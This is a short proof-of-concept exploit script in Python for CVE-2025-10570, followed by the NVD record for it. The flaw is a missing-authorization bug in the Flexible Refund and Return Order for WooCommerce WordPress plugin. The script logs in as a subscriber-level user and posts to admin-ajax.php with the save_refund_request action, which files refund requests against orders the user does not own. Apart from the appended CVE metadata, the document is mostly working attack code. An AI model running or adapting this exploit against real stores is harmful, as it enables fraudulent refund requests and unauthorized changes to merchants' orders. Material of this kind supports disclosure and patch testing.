CVE-2025-10570

# CVE-2025-10570 PoC - Missing Authorization in Flexible Refund and Return Order for WooCommerce # Vulnerability: save_refund_request() function lacks authorization checks # Impact: Authenticated subscribers can submit refund requests for arbitrary orders import requests # Target configuration TARGET_URL = "https://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "password123" ORDER_ID = 123 # Target order ID that the attacker does not own # Step 1: Authenticate as a subscriber-level user session = requests.Session() # WordPress login login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Submit a refund request for an arbitrary order # The save_refund_request() function does not verify order ownership refund_data = { "order_id": ORDER_ID, "refund_reason": "Unauthorized refund request", "refund_amount": "100.00", "action": "save_refund_request" } response = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=refund_data ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # If successful, a refund request will be created for the target order # without the attacker having any ownership or authorization over it.

{"cve": {"id": "CVE-2025-10570", "sourceIdentifier": "[email protected]", "published": "2025-10-22T07:15:31.780", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Flexible Refund and Return Order for WooCommerce plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.0.38 via the save_refund_request() function. This makes it possible for authenticated attackers, with subscriber-level access and above, to submit refund requests for arbitrary orders that they do not own."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3375005/flexible-refund-and-return-order-for-woocommerce", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bd9b6575-f49b-4586-a716-69d39242423d?source=cve", "source": "[email protected]"}]}}